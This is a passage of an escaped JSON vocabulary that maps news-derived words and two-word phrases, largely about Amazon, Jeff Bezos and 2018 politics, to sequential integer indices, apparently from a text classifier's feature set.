\"post blue\": 119787,\n  \"boyfriend nicholas\": 119788,\n  \"trump bellyaching\": 119789,\n  \"article dogs\": 119790,\n  \"judge rips\": 119791,\n  \"photographs juxtaposed\": 119792,\n  \"earned usps\": 119793,\n  \"daniels stormy\": 119794,\n  \"wishes good\": 119795,\n  \"communities bezos\": 119796,\n  \"private rights\": 119797,\n  \"warehouse sanders\": 119798,\n  \"abuse nys\": 119799,\n  \"agreement leaving\": 119800,\n  \"story billionaire\": 119801,\n  \"movie centers\": 119802,\n  \"monopoly stance\": 119803,\n  \"abut\": 119804,\n  \"davis hanson\": 119805,\n  \"2017 season\": 119806,\n  \"designated investments\": 119807,\n  \"markets responded\": 119808,\n  \"order did\": 119809,\n  \"included vivid\": 119810,\n  \"introspective\": 119811,\n  \"experience news\": 119812,\n  \"inquired\": 119813,\n  \"began sharpton\": 119814,\n  \"government claims\": 119815,\n  \"2016 crc\": 119816,\n  \"fed report\": 119817,\n  \"employees believe\": 119818,\n  \"america imageurl\": 119819,\n  \"jet sending\": 119820,\n  \"drawing 2017\": 119821,\n  \"gordy\": 119822,\n  \"bush movie\": 119823,\n  \"sex national\": 119824,\n  \"paloma esquivel\": 119825,\n  \"government lobbying\": 119826,\n  \"abusive\": 119827,\n  \"employees close\": 119828,\n  \"peaks returned\": 119829,\n  \"inflation adjusted\": 119830,\n  \"products sold\": 119831,\n  \"oknyansky\": 119832,\n  \"tennessee history\": 119833,\n  \"extended discussions\": 119834,\n  \"dancers\": 119835,\n  \"seventeen year\": 119836,\n  \"birds fish\": 119837,\n  \"evaded taxes\": 119838,\n  \"677dp3p5tenxgcpb032d pf_rd_t\": 119839,\n  \"fox says\": 119840,\n  \"conduct does\": 119841,\n  \"military initiative\": 119842,\n  \"forget\": 119843,\n  \"really hostile\": 119844,\n  \"story costco\": 119845,\n  \"stopped snapchat\": 119846,\n  \"illnesses real\": 119847,\n  \"president supporters\": 119848,\n  \"amazonwashingtonpost\": 119849,\n  \"joshua roberts\": 119850,\n  \"t000047680 t000023123\": 119851,\n  \"owned youtube\": 119852,\n  \"especially facebook\": 119853,\n  \"rtdschapiro listen\": 119854,\n  \"evil corporation\": 119855,\n  \"recruiting big\": 119856,\n  \"brit hume\": 119857,\n  \"boss jennifer\": 119858,\n  \"london new\": 119859,\n  \"eu copyright\": 119860,\n  \"paper editor\": 119861,\n  \"isis\": 119862,\n  \"trump citing\": 119863,\n  \"original online\": 119864,\n  \"bolsonaro dubbed\": 119865,\n  \"robert bork\": 119866,\n  \"blockbuster\": 119867,\n  \"comp\": 119868,\n  \"welfare recipients\": 119869,\n  \"cuomo controls\": 119870,\n  \"republicans sen\": 119871,\n  \"nycha jeff\": 119872,\n  \"programs congress\": 119873,\n  \"exacting aerospace\": 119874,\n  \"reuters christopher\": 119875,\n  \"minister lest\": 119876,\n  \"intel 50th\": 119877,\n  \"bogus medical\": 119878,\n  \"european commission\": 119879,\n  \"dubious tax\": 119880,\n  \"financial advisor\": 119881,\n  \"media properties\": 119882,\n  \"battle odds\": 119883,\n  \"certainly\": 119884,\n  \"messing\": 119885,\n  \"populist government\": 119886,\n  \"agenda long\": 119887,\n  \"treaty stoltenberg\": 119888,\n  \"avoid proper\": 119889,\n  \"elie mystal\": 119890,\n  \"political split\": 119891,\n  \"crisis especially\": 119892,\n  \"security charles\": 119893,\n  \"company visit\": 119894,\n  \"angle lawmakers\": 119895,\n  \"injunction prohibiting\": 119896,\n  \"make purchase\": 119897,\n  \"shop half\": 119898,\n  \"comfortable using\": 119899,\n  \"floodwaters\": 119900,\n  \"reopened bristlecone\": 119901,\n  \"tears falling\": 119902,\n  \"great progress\": 119903,\n  \"cancer survivors\": 119904,\n  \"fbi rise\": 119905,\n  \"shopper profiles\": 119906,\n  \"community advisory\": 119907,\n  \"fasb takes\": 119908,\n  \"push car\": 119909,\n  \"cjr emily\": 119910,\n  \"milton friedman\": 119911,\n  \"penguin reprinted\": 119912,\n  \"carr\\u00e9 spy\": 119913,\n  \"week google\": 119914,\n  \"trump previously\": 119915,\n  \"peg case\": 119916,\n  \"drum\": 119917,\n  \"tough competitor\": 119918,\n  \"news send\": 119919,\n  \"saying investigators\": 119920,\n  \"spokesman declared\": 119921,\n  \"tchaikovsky\": 119922,\n  \"merch program\": 119923,\n  \"traders remain\": 119924,\n  \"building large\": 119925,\n  \"amazon gameon\": 119926,\n  \"amazon failure\": 119927,\n  \"viticultural\": 119928,\n  \"keatonesque\": 119929,\n  \"educational training\": 119930,\n  \"stop using\": 119931,\n  \"respondents reflected\": 119932,\n  \"bezos photographer\": 119933,\n  \"instant access\": 119934,\n  \"jobs memphis\": 119935,\n  \"afford health\": 119936,\n  \"covey\": 119937,\n  \"wondered aloud\": 119938,\n  \"trial\": 119939,\n  \"liberals amazon\": 119940,\n  \"41cgljgol2l prest\": 119941,\n  \"medicrea group\": 119942,\n  \"conversation norah\": 119943,\n  \"public procurement\": 119944,\n  \"inspired sen\": 119945,\n  \"marketwatch billionaire\": 119946,\n  \"president related\": 119947,\n  \"pro employment\": 119948,\n  \"complete coverage\": 119949,\n  \"risk pool\": 119950,\n  \"wealth ownership\": 119951,\n  \"climate created\": 119952,\n  \"speech biden\": 119953,\n  \"ruth negga\": 119954,\n  \"bezos low\": 119955,\n  \"eshbach beach\": 119956,\n  \"purchase products\": 119957,\n  \"necessary software\": 119958,\n  \"poorer bezos\": 119959,\n  \"amazon cats\": 119960,\n  \"markets hit\": 119961,\n  \"residents long\": 119962,\n  \"trailhead\": 119963,\n  \"test jokes\": 119964,\n  \"prey\": 119965,\n  \"mato grosso\": 119966,\n  \"drama filled\": 119967,\n  \"vegan option\": 119968,\n  \"favorite genre\": 119969,\n  \"inevitable small\": 119970,\n  \"finally surpassed\": 119971,\n  \"indefinite quantity\": 119972,\n  \"weight guess\": 119973,\n  \"enquirer radar\": 119974,\n  \"post having\": 119975,\n  \"fda cig\": 119976,\n  \"vanity race\": 119977,\n  \"young children\": 119978,\n  \"architect solution\": 119979,\n  \"context page\": 119980,\n  \"airasia\": 119981,\n  \"advance really\": 119982,\n  \"lanny davis\": 119983,\n  \"itunes racist\": 119984,\n  \"recruitment hr\": 119985,\n  \"surrounds bezos\": 119986,\n  \"earnest argument\": 119987,\n  \"competitive subsidization\": 119988,\n  \"image aziz\": 119989,\n  \"propel amazon\": 119990,\n  \"courts haven\": 119991,\n  \"shipping setups\": 119992,\n  \"tribune editorial\": 119993,\n  \"featuring bezos\": 119994,\n  \"sc\": 119995,\n  \"remains chief\": 119996,\n  \"module\": 119997,\n  \"space agency\": 119998,\n  \"furor\": 119999,\n  \"switch p9x\": 120000,\n  \"entire familiar\": 120001,\n  \"new thing\": 120002,\n  \"toddlewood royal\": 120003,\n  \"flank\": 120004,\n  \"small demand\": 120005,\n  \"bongino\": 120006,\n  \"entendre\": 120007,\n  \"small decline\": 120008,\n  \"worrying perspective\": 120009,\n  \"degrees hotter\": 120010,\n  \"bad jim\": 120011,\n  \"tissue\": 120012,\n  \"000 illegal\": 120013,\n  \"aretha\": 120014,\n  \"previously licensed\": 120015,\n  \"amazon hard\": 120016,\n  \"healers\": 120017,\n  \"740m\": 120018,\n  \"president suggests\": 120019,\n  \"joaquin\": 120020,\n  \"12bn\": 120021,\n  \"google khan\": 120022,\n  \"germany 11319\": 120023,\n  \"interior business\": 120024,\n  \"latino communities\": 120025,\n  \"anticlimactic\": 120026,\n  \"french amazon\": 120027,\n  \"contributions plutocrats\": 120028,\n  \"braney\": 120029,\n  \"things better\": 120030,\n  \"strong advances\": 120031,\n  \"deal space\": 120032,\n  \"announcement sparked\": 120033,\n  \"wisconsin negotiated\": 120034,\n  \"atif\": 120035,\n  \"2017 claiming\": 120036,\n  \"wine expert\": 120037,\n  \"outside homes\": 120038,\n  \"american retail\": 120039,\n  \"hen house\": 120040,\n  \"christopher misztal\": 120041,\n  \"sheriffs\": 120042,\n  \"cap fast\": 120043,\n  \"angry tweets\": 120044,\n  \"steered exclusively\": 120045,\n  \"taxes socialism\": 120046,\n  \"reuters euronext\": 120047,\n  \"button streaming\": 120048,\n  \"defined plan\": 120049,\n  \"deals exclusively\": 120050,\n  \"percentage points\": 120051,\n  \"gop plan\": 120052,\n  \"overwork\": 120053,\n  \"infinity war\": 120054,\n  \"matt wood\": 120055,\n  \"getting really\": 120056,\n  \"change donald\": 120057,\n  \"residents suing\": 120058,\n  \"blinch\": 120059,\n  \"youknow\": 120060,\n  \"jolley began\": 120061,\n  \"win raises\": 120062,\n  \"detailed bezos\": 120063,\n  \"captioning\": 120064,\n  \"obama 477\": 120065,\n  \"unfairly undercutting\": 120066,\n  \"stopthebias pic\": 120067,\n  \"development south\": 120068,\n  \"story writer\": 120069,\n  \"nightingale\": 120070,\n  \"justice declined\": 120071,\n  \"comment mueller\": 120072,\n  \"infuriating\": 120073,\n  \"counterfeitsfraud\": 120074,\n  \"money lifestyle\": 120075,\n  \"kente\": 120076,\n  \"charge really\": 120077,\n  \"administrations\": 120078,\n  \"mulling\": 120079,\n  \"budget constraints\": 120080,\n  \"big district\": 120081,\n  \"developed tools\": 120082,\n  \"blistering attacks\": 120083,\n  \"patient\": 120084,\n  \"later told\": 120085,\n  \"gallo\": 120086,\n  \"books wild\": 120087,\n  \"severe frostbite\": 120088,\n  \"teenage\": 120089,\n  \"attacking bezos\": 120090,\n  \"woefully\": 120091,\n  \"learn suppliers\": 120092,\n  \"price gouging\": 120093,\n  \"allocate\": 120094,\n  \"sell surveillance\": 120095,\n  \"utilizes robots\": 120096,\n  \"las vegas\": 120097,\n  \"larger tech\": 120098,\n  \"money thanks\": 120099,\n  \"prosecutors investigating\": 120100,\n  \"zte chinese\": 120101,\n  \"feminist humour\": 120102,\n  \"originally\": 120103,\n  \"china did\": 120104,\n  \"brent thill\": 120105,\n  \"executive power\": 120106,\n  \"jolts data\": 120107,\n  \"fedex claimed\": 120108,\n  \"nurturing instrumentalities\": 120109,\n  \"sold 202\": 120110,\n  \"salma\": 120111,\n  \"newsstands today\": 120112,\n  \"ofphone calls\": 120113,\n  \"skilled assets\": 120114,\n  \"972 billion\": 120115,\n  \"issued request\": 120116,\n  \"weeks executive\": 120117,\n  \"phone number\": 120118,\n  \"bearishness\": 120119,\n  \"month financial\": 120120,\n  \"private email\": 120121,\n  \"simplify medication\": 120122,\n  \"divisive polices\": 120123,\n  \"harassed homeland\": 120124,\n  \"evans constantine\": 120125,\n  \"cultures\": 120126,\n  \"m6eninumqn pic\": 120127,\n  \"larger economic\": 120128,\n  \"carrefour\": 120129,\n  \"just prices\": 120130,\n  \"costco sells\": 120131,\n  \"mid teens\": 120132,\n  \"comprehensive site\": 120133,\n  \"house bush\": 120134,\n  \"texas facility\": 120135,\n  \"rates cites\": 120136,\n  \"factor weighing\": 120137,\n  \"23c\": 120138,\n  \"guests\": 120139,\n  \"defeat donald\": 120140,\n  \"723\": 120141,\n  \"landmark earlier\": 120142,\n  \"mind facebook\": 120143,\n  \"annenberg\": 120144,\n  \"loopholes amazon\": 120145,\n  \"designated land\": 120146,\n  \"party companies\": 120147,\n  \"daughter ivanka\": 120148,\n  \"qualifying notorious\": 120149,\n  \"apple imessage\": 120150,\n  \"delivery facilities\": 120151,\n  \"analysts estimate\": 120152,\n  \"bezos dissolving\": 120153,\n  \"reporting trump\": 120154,\n  \"obliterate\": 120155,\n  \"pakistani american\": 120156,\n  \"controlled eastern\": 120157,\n  \"ends 2018\": 120158,\n  \"european display\": 120159,\n  \"article dont\": 120160,\n  \"brands lb\": 120161,\n  \"military plane\": 120162,\n  \"enquirer isn\": 120163,\n  \"marijuana ghetto\": 120164,\n  \"instantly defending\": 120165,\n  \"kilgore 415\": 120166,\n  \"secretly whisper\": 120167,\n  \"week hours\": 120168,\n  \"yes maybe\": 120169,\n  \"later gm\": 120170,\n  \"obtained dick\": 120171,\n  \"bezos applauding\": 120172,\n  \"landmark eu\": 120173,\n  \"currently consulting\": 120174,\n  \"west story\": 120175,\n  \"hikes wage\": 120176,\n  \"time sarah\": 120177,\n  \"moderate credentials\": 120178,\n  \"reduced forecasts\": 120179,\n  \"times concerning\": 120180,\n  \"nintendo switch\": 120181,\n  \"administration contends\": 120182,\n  \"american agricultural\": 120183,\n  \"formed lobby\": 120184,\n  \"potentially illegal\": 120185,\n  \"lieu plays\": 120186,\n  \"low schumer\": 120187,\n  \"wanting\": 120188,\n  \"military aircraft\": 120189,\n  \"change dallas\": 120190,\n  \"years covering\": 120191,\n  \"kavanaugh protesters\": 120192,\n  \"close according\": 120193,\n  \"native vegetation\": 120194,\n  \"penny\": 120195,\n  \"bankrupt properties\": 120196,\n  \"robocall scammers\": 120197,\n  \"various actions\": 120198,\n  \"service center\": 120199,\n  \"gamingnews\": 120200,\n  \"online traffic\": 120201,\n  \"service punish\": 120202,\n  \"tech especially\": 120203,\n  \"separated gotenna\": 120204,\n  \"accrual\": 120205,\n  \"contained itemised\": 120206,\n  \"signing hush\": 120207,\n  \"jim yong\": 120208,\n  \"mental illness\": 120209,\n  \"rally scheduled\": 120210,\n  \"person added\": 120211,\n  \"growth stronger\": 120212,\n  \"adage loose\": 120213,\n  \"drew vollero\": 120214,\n  \"weekly flow\": 120215,\n  \"loss disappointingly\": 120216,\n  \"facebook practices\": 120217,\n  \"internet companies\": 120218,\n  \"suspicions\": 120219,\n  \"lieu tedlieu\": 120220,\n  \"republican democratic\": 120221,\n  \"bezos lax\": 120222,\n  \"telecom company\": 120223,\n  \"1896\": 120224,\n  \"alliance launched\": 120225,\n  \"hiking postal\": 120226,\n  \"political liberty\": 120227,\n  \"correction previous\": 120228,\n  \"amazon aim\": 120229,\n  \"unfortunately jeff\": 120230,\n  \"life having\": 120231,\n  \"fascinating exciting\": 120232,\n  \"alternative realities\": 120233,\n  \"portfolio decreased\": 120234,\n  \"totally new\": 120235,\n  \"recusing\": 120236,\n  \"moved china\": 120237,\n  \"held belief\": 120238,\n  \"fbi leaders\": 120239,\n  \"address jeff\": 120240,\n  \"topid\": 120241,\n  \"tax fees\": 120242,\n  \"plants evolved\": 120243,\n  \"coal industry\": 120244,\n  \"don merely\": 120245,\n  \"confounded\": 120246,\n  \"trading markets\": 120247,\n  \"heels despite\": 120248,\n  \"government granted\": 120249,\n  \"overall khosrowshahi\": 120250,\n  \"businessman joe\": 120251,\n  \"auspices\": 120252,\n  \"bankrolled\": 120253,\n  \"supporters threatened\": 120254,\n  \"rev alejandro\": 120255,\n  \"clergy abuse\": 120256,\n  \"koshinski\": 120257,\n  \"information dod\": 120258,\n  \"office charges\": 120259,\n  \"happen wapo\": 120260,\n  \"options covering\": 120261,\n  \"week secretary\": 120262,\n  \"aapl tim\": 120263,\n  \"policies amazon\": 120264,\n  \"gettyimages 627666862\": 120265,\n  \"case writes\": 120266,\n  \"sales multiples\": 120267,\n  \"product safety\": 120268,\n  \"community center\": 120269,\n  \"don vaccinate\": 120270,\n  \"time wapo\": 120271,\n  \"employees urinating\": 120272,\n  \"response senator\": 120273,\n  \"blackface\": 120274,\n  \"tucker\": 120275,\n  \"hawaii lava\": 120276,\n  \"design companies\": 120277,\n  \"800 miles\": 120278,\n  \"inappropriate\": 120279,\n  \"palette\": 120280,\n  \"carey usher\": 120281,\n  \"htm\": 120282,\n  \"journal welcome\": 120283,\n  \"boston ap\": 120284,\n  \"tweeted claims\": 120285,\n  \"sinegal ceo\": 120286,\n  \"engagement rates\": 120287,\n  \"associated sharp\": 120288,\n  \"traced\": 120289,\n  \"divcon\": 120290,\n  \"turnover soar\": 120291,\n  \"molson coors\": 120292,\n  \"frantically sifting\": 120293,\n  \"defends\": 120294,\n  \"different commerce\": 120295,\n  \"khashoggi old\": 120296,\n  \"ninja\": 120297,\n  \"mandate ebola\": 120298,\n  \"poets heid\": 120299,\n  \"analysts worry\": 120300,\n  \"female friends\": 120301,\n  \"mohammed bezos\": 120302,\n  \"screwdrivers exist\": 120303,\n  \"harry sandick\": 120304,\n  \"trump potential\": 120305,\n  \"held primaries\": 120306,\n  \"106 shares\": 120307,\n  \"predictions says\": 120308,\n  \"reliably anti\": 120309,\n  \"british teenager\": 120310,\n  \"democrat told\": 120311,\n  \"macy foto\": 120312,\n  \"services treasury\": 120313,\n  \"little 2018\": 120314,\n  \"hoosiers\": 120315,\n  \"contract signing\": 120316,\n  \"welcom aboard\": 120317,\n  \"possible trigger\": 120318,\n  \"gfm\": 120319,\n  \"carries huge\": 120320,\n  \"jerusalem status\": 120321,\n  \"amazon mean\": 120322,\n  \"daina\": 120323,\n  \"scheme american\": 120324,\n  \"f4 z4\": 120325,\n  \"donut day\": 120326,\n  \"eagle hill\": 120327,\n  \"aljazeera yemen\": 120328,\n  \"biased ahead\": 120329,\n  \"1988 killing\": 120330,\n  \"785\": 120331,\n  \"simply ignore\": 120332,\n  \"586\": 120333,\n  \"country did\": 120334,\n  \"kevin fields\": 120335,\n  \"fernandes took\": 120336,\n  \"trump lest\": 120337,\n  \"officials announcing\": 120338,\n  \"org semissourian\": 120339,\n  \"eminent\": 120340,\n  \"thefbi andrew\": 120341,\n  \"fund politifact\": 120342,\n  \"report appeared\": 120343,\n  \"deal opposition\": 120344,\n  \"donnell modern\": 120345,\n  \"enroute using\": 120346,\n  \"dissuade\": 120347,\n  \"kristen stewart\": 120348,\n  \"misimpression\": 120349,\n  \"flickr loiclemeur\": 120350,\n  \"fried egg\": 120351,\n  \"amazon alliances\": 120352,\n  \"drink\": 120353,\n  \"unworkable\": 120354,\n  \"elementcontents caption\": 120355,\n  \"china based\": 120356,\n  \"graph\": 120357,\n  \"apparent meeting\": 120358,\n  \"probably obtained\": 120359,\n  \"internet behemoth\": 120360,\n  \"set minimal\": 120361,\n  \"market tents\": 120362,\n  \"longterm success\": 120363,\n  \"harsh working\": 120364,\n  \"pre crime\": 120365,\n  \"india chief\": 120366,\n  \"site mission\": 120367,\n  \"utah\": 120368,\n  \"grandchildren\": 120369,\n  \"garbage compromise\": 120370,\n  \"howard taft\": 120371,\n  \"manage internet\": 120372,\n  \"status amazon\": 120373,\n  \"clear parallel\": 120374,\n  \"justice science\": 120375,\n  \"new minimum\": 120376,\n  \"saudi ruler\": 120377,\n  \"sensible policy\": 120378,\n  \"continued control\": 120379,\n  \"targeted mccaskill\": 120380,\n  \"speeches\": 120381,\n  \"reports record\": 120382,\n  \"significantly increase\": 120383,\n  \"shared similar\": 120384,\n  \"targeting\": 120385,\n  \"billy graham\": 120386,\n  \"historical stance\": 120387,\n  \"remembering\": 120388,\n  \"stamps used\": 120389,\n  \"new favorite\": 120390,\n  \"island painted\": 120391,\n  \"better align\": 120392,\n  \"acquisition maximize\": 120393,\n  \"added later\": 120394,\n  \"accountability workplace\": 120395,\n  \"million marginalized\": 120396,\n  \"correspondent maria\": 120397,\n  \"friendly\": 120398,\n  \"plans working\": 120399,\n  \"newspaper shows\": 120400,\n  \"marketplace meaning\": 120401,\n  \"human rights\": 120402,\n  \"crowdsourced delivery\": 120403,\n  \"terrorism ipt\": 120404,\n  \"shot manufacturers\": 120405,\n  \"doesn preach\": 120406,\n  \"institute drew\": 120407,\n  \"whitesell lauren\": 120408,\n  \"bailey slumber\": 120409,\n  \"alexandra scaggs\": 120410,\n  \"murphy anthology\": 120411,\n  \"story latest\": 120412,\n  \"life little\": 120413,\n  \"homelessness\": 120414,\n  \"business marketing\": 120415,\n  \"fires coming\": 120416,\n  \"accolades\": 120417,\n  \"andthat\": 120418,\n  \"automated industrial\": 120419,\n  \"making reforms\": 120420,\n  \"korea korean\": 120421,\n  \"doubles tariffs\": 120422,\n  \"cristina right\": 120423,\n  \"pushback\": 120424,\n  \"practice trump\": 120425,\n  \"greer cornish\": 120426,\n  \"owners timothy\": 120427,\n  \"caption rex\": 120428,\n  \"costs plus\": 120429,\n  \"doer\": 120430,\n  \"bezos kicking\": 120431,\n  \"mortar world\": 120432,\n  \"bezos favorite\": 120433,\n  \"presley love\": 120434,\n  \"affairs department\": 120435,\n  \"shelters facebook\": 120436,\n  \"struggling amazon\": 120437,\n  \"team eric\": 120438,\n  \"vuillard meditation\": 120439,\n  \"cover\": 120440,\n  \"hand trump\": 120441,\n  \"apparel connecticut\": 120442,\n  \"arax\": 120443,\n  \"thinkneeds\": 120444,\n  \"sensanders tweeted\": 120445,\n  \"oppose slavery\": 120446,\n  \"ecosystem check\": 120447,\n  \"granted hundreds\": 120448,\n  \"amy eley\": 120449,\n  \"challenges challenge\": 120450,\n  \"navarro apologized\": 120451,\n  \"explained\": 120452,\n  \"trucking industry\": 120453,\n  \"total bullsh\": 120454,\n  \"assessment contained\": 120455,\n  \"aparicio stream\": 120456,\n  \"damn twitter\": 120457,\n  \"institute philippine\": 120458,\n  \"plain quirky\": 120459,\n  \"joe raedle\": 120460,\n  \"xi meets\": 120461,\n  \"marketing organization\": 120462,\n  \"today breaking\": 120463,\n  \"axis powers\": 120464,\n  \"president carlyle\": 120465,\n  \"draw tells\": 120466,\n  \"hoping\": 120467,\n  \"birmingham\": 120468,\n  \"partner offering\": 120469,\n  \"receive paid\": 120470,\n  \"shira golan\": 120471,\n  \"latinos\": 120472,\n  \"general kelly\": 120473,\n  \"publish additional\": 120474,\n  \"year hasn\": 120475,\n  \"silver lining\": 120476,\n  \"amazon sale\": 120477,\n  \"deal details\": 120478,\n  \"als google\": 120479,\n  \"usps suggested\": 120480,\n  \"old foe\": 120481,\n  \"rosenstein\": 120482,\n  \"calm measured\": 120483,\n  \"won recognition\": 120484,\n  \"colin farrell\": 120485,\n  \"predominant feature\": 120486,\n  \"marion cotillard\": 120487,\n  \"write tech\": 120488,\n  \"bezos responding\": 120489,\n  \"sciences unit\": 120490,\n  \"highs says\": 120491,\n  \"stocks started\": 120492,\n  \"don currently\": 120493,\n  \"andy biggs\": 120494,\n  \"repair public\": 120495,\n  \"mount discounts\": 120496,\n  \"landmark sent\": 120497,\n  \"water filtration\": 120498,\n  \"typed\": 120499,\n  \"laws governing\": 120500,\n  \"jerome_corsi muellerism\": 120501,\n  \"basis today\": 120502,\n  \"salesforce positions\": 120503,\n  \"consumer driven\": 120504,\n  \"direct commerce\": 120505,\n  \"opting public\": 120506,\n  \"demand woodward\": 120507,\n  \"share border\": 120508,\n  \"bezos pledged\": 120509,\n  \"terra incognita\": 120510,\n  \"hill rom\": 120511,\n  \"wall invoking\": 120512,\n  \"map showing\": 120513,\n  \"studios original\": 120514,\n  \"streaming\": 120515,\n  \"tilefeatureimage\": 120516,\n  \"shows disdain\": 120517,\n  \"monopoly president\": 120518,\n  \"disappear\": 120519,\n  \"average max\": 120520,\n  \"elemental servers\": 120521,\n  \"long partnership\": 120522,\n  \"bulb included\": 120523,\n  \"sexist\": 120524,\n  \"deletes\": 120525,\n  \"expertly takes\": 120526,\n  \"led task\": 120527,\n  \"major new\": 120528,\n  \"jawad sent\": 120529,\n  \"manafort requests\": 120530,\n  \"partners managing\": 120531,\n  \"anonymity sanchez\": 120532,\n  \"operates\": 120533,\n  \"fiefdoms trying\": 120534,\n  \"michelin\": 120535,\n  \"recalibrate defiant\": 120536,\n  \"depicts president\": 120537,\n  \"monsters jeff\": 120538,\n  \"colleges sent\": 120539,\n  \"volume shows\": 120540,\n  \"accelerating revenue\": 120541,\n  \"secret bolsonaro\": 120542,\n  \"obamas\": 120543,\n  \"report says\": 120544,\n  \"structure noting\": 120545,\n  \"trump renews\": 120546,\n  \"district attorneys\": 120547,\n  \"waffled\": 120548,\n  \"brand awareness\": 120549,\n  \"uncanny tech\": 120550,\n  \"directly breaking\": 120551,\n  \"2018 weiser\": 120552,\n  \"increasingly popular\": 120553,\n  \"kinsella\": 120554,\n  \"voters decisions\": 120555,\n  \"right wearing\": 120556,\n  \"loathed\": 120557,\n  \"night passage\": 120558,\n  \"witch population\": 120559,\n  \"agencies sued\": 120560,\n  \"website sale\": 120561,\n  \"learn click\": 120562,\n  \"beenable\": 120563,\n  \"kumar elise\": 120564,\n  \"operational thankfully\": 120565,\n  \"passed spending\": 120566,\n  \"news dragged\": 120567,\n  \"rubenstein founder\": 120568,\n  \"given multiple\": 120569,\n  \"iphone battery\": 120570,\n  \"china iran\": 120571,\n  \"forgetting sarah\": 120572,\n  \"italy di\": 120573,\n  \"banks bezos\": 120574,\n  \"shipt\": 120575,\n  \"returned cnn\": 120576,\n  \"vast savanna\": 120577,\n  \"goff chris\": 120578,\n  \"tech careers\": 120579,\n  \"say yes\": 120580,\n  \"clear apple\": 120581,\n  \"investigation does\": 120582,\n  \"morning bartiromo\": 120583,\n  \"crenshaw\": 120584,\n  \"owns pbm\": 120585,\n  \"bond yields\": 120586,\n  \"question indian\": 120587,\n  \"hashtag day1\": 120588,\n  \"dysfunctional process\": 120589,\n  \"smartphone app\": 120590,\n  \"says hartnett\": 120591,\n  \"newspeson lauren\": 120592,\n  \"carb\": 120593,\n  \"lou dobbs\": 120594,\n  \"alleged bias\": 120595,\n  \"2018 dj\": 120596,\n  \"legal argument\": 120597,\n  \"fight donald\": 120598,\n  \"frame\": 120599,\n  \"globes party\": 120600,\n  \"york afp\": 120601,\n  \"arry yu\": 120602,\n  \"various causes\": 120603,\n  \"schlosser\": 120604,\n  \"war read\": 120605,\n  \"gurr\": 120606,\n  \"claim appears\": 120607,\n  \"day leading\": 120608,\n  \"pamphlet\": 120609,\n  \"zaccone\": 120610,\n  \"unstoppable witness\": 120611,\n  \"phony dossier\": 120612,\n  \"times delved\": 120613,\n  \"ruggedized\": 120614,\n  \"hero\": 120615,\n  \"away italy\": 120616,\n  \"legacy business\": 120617,\n  \"research unit\": 120618,\n  \"starring taran\": 120619,\n  \"huh mock\": 120620,\n  \"offer discounts\": 120621,\n  \"living illegally\": 120622,\n  \"christian haines\": 120623,\n  \"tolling mechanism\": 120624,\n  \"smartsheet fought\": 120625,\n  \"obstruction haley\": 120626,\n  \"russia\": 120627,\n  \"contributor earlier\": 120628,\n  \"trump taxes\": 120629,\n  \"newsday\": 120630,\n  \"manage nearly\": 120631,\n  \"micro managing\": 120632,\n  \"thorough\": 120633,\n  \"nyt steve\": 120634,\n  \"term future\": 120635,\n  \"value raymond\": 120636,\n  \"michael stretched\": 120637,\n  \"large families\": 120638,\n  \"malik\": 120639,\n  \"following new\": 120640,\n  \"colorado based\": 120641,\n  \"revised 41m\": 120642,\n  \"floundered\": 120643,\n  \"surrealist\": 120644,\n  \"cigar ted\": 120645,\n  \"vehicles customised\": 120646,\n  \"embroiled\": 120647,\n  \"232\": 120648,\n  \"bloc trump\": 120649,\n  \"congressman dana\": 120650,\n  \"european workers\": 120651,\n  \"conga line\": 120652,\n  \"thinking skills\": 120653,\n  \"reached consensus\": 120654,\n  \"standard blue\": 120655,\n  \"function return\": 120656,\n  \"trip shoppers\": 120657,\n  \"age random\": 120658,\n  \"credit combined\": 120659,\n  \"vindictively\": 120660,\n  \"actually carrying\": 120661,\n  \"case involved\": 120662,\n  \"based corporate\": 120663,\n  \"day close\": 120664,\n  \"hill correspondent\": 120665,\n  \"eric wolff\": 120666,\n  \"viewers check\": 120667,\n  \"nlindstrom\": 120668,\n  \"plus economy\": 120669,\n  \"taxi services\": 120670,\n  \"fixed_positions\": 120671,\n  \"mary hanbury\": 120672,\n  \"related tweets\": 120673,\n  \"strong joint\": 120674,\n  \"railroad\": 120675,\n  \"force according\": 120676,\n  \"discussions nyt\": 120677,\n  \"38bn\": 120678,\n  \"basis\": 120679,\n  \"alberto dos\": 120680,\n  \"address safety\": 120681,\n  \"kathleen\": 120682,\n  \"bardem star\": 120683,\n  \"bigger experiment\": 120684,\n  \"degraded\": 120685,\n  \"hq2 traffic\": 120686,\n  \"today chinese\": 120687,\n  \"symb\": 120688,\n  \"circle\": 120689,\n  \"subsidized washington\": 120690,\n  \"sibling korede\": 120691,\n  \"whopping billion\": 120692,\n  \"chalking stories\": 120693,\n  \"markets business\": 120694,\n  \"cbs reboot\": 120695,\n  \"electronics despite\": 120696,\n  \"old saying\": 120697,\n  \"subsidies bezos\": 120698,\n  \"nbcuniversal\": 120699,\n  \"korea ballistic\": 120700,\n  \"rupert murdoch\": 120701,\n  \"entertainment studio\": 120702,\n  \"cbs starting\": 120703,\n  \"tori doss\": 120704,\n  \"dots\": 120705,\n  \"offer cause\": 120706,\n  \"subcontractors kirkorian\": 120707,\n  \"democrats murder\": 120708,\n  \"progressive badges\": 120709,\n  \"thumb imageurl\": 120710,\n  \"543\": 120711,\n  \"island fla\": 120712,\n  \"temper tantrum\": 120713,\n  \"register deforestation\": 120714,\n  \"bank lost\": 120715,\n  \"camilo carranza\": 120716,\n  \"paris fr0004178572\": 120717,\n  \"post million\": 120718,\n  \"trading losses\": 120719,\n  \"privilege\": 120720,\n  \"shockingly amazon\": 120721,\n  \"qualified immunity\": 120722,\n  \"alibaba amazon\": 120723,\n  \"workspace\": 120724,\n  \"trudo\": 120725,\n  \"rocket company\": 120726,\n  \"doppler labs\": 120727,\n  \"philip dick\": 120728,\n  \"earned doctorate\": 120729,\n  \"post candidate\": 120730,\n  \"queens amazon\": 120731,\n  \"2fct\": 120732,\n  \"signed deal\": 120733,\n  \"newsmedia\": 120734,\n  \"idg2osapfp michael\": 120735,\n  \"victims and\\u0430lookee\\u0430here\": 120736,\n  \"aws peer\": 120737,\n  \"city transportation\": 120738,\n  \"feel strongly\": 120739,\n  \"cooperation treaty\": 120740,\n  \"organized\": 120741,\n  \"does opening\": 120742,\n  \"burned nashville\": 120743,\n  \"seeking buyer\": 120744,\n  \"allows developers\": 120745,\n  \"force competitors\": 120746,\n  \"03vdg4nes6\": 120747,\n  \"satire subtlety\": 120748,\n  \"website asked\": 120749,\n  \"outlets identified\": 120750,\n  \"upwardly revised\": 120751,\n  \"r4ee\": 120752,\n  \"best seller\": 120753,\n  \"group says\": 120754,\n  \"county 